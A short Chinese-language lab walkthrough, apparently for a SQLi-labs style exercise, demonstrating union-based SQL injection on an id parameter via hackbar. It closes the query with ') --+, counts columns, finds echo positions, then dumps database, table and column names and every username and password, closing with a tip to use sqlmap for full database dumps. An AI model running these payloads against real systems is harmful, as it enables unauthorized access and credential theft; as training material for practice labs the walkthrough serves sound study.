hackbar
页面观察
将id作为参数点注入
注入id=1
会有正常的回显
判断注入点
注入id=1’
根据错误提示,我们可以很容易分析到这里的sql查询语句为
SELECT * FROM users WHERE id=('1'')
这明显就是错误的,所以需要在1后面的第一引号处,加入)–+进行闭合
成功获得了正确的回显信息
判断字段数
?id=1') order by 3--+// 这里需要注意的是一定要闭合情况下进行判断
一次输入1、2、3、4…
到4就报错了,说明只有3个字段
判断回显位
?id=1') and 0 union select 1,2,3 --+
回显位为2、3位
爆数据库名
?id=1') and 0 union select 1,2,database() --+
爆数据表名
?id=1') and 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆数据表的字段
?id=1') and 0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
爆数据表内容
?id=1') and 0 union select 1,group_concat(concat_ws(':',id,username,password)),3 from users --+
成功拿到所有的数据,如果不是要学习整个过程的话,建议直接用sqlmap进行数据库脱库,多快好省!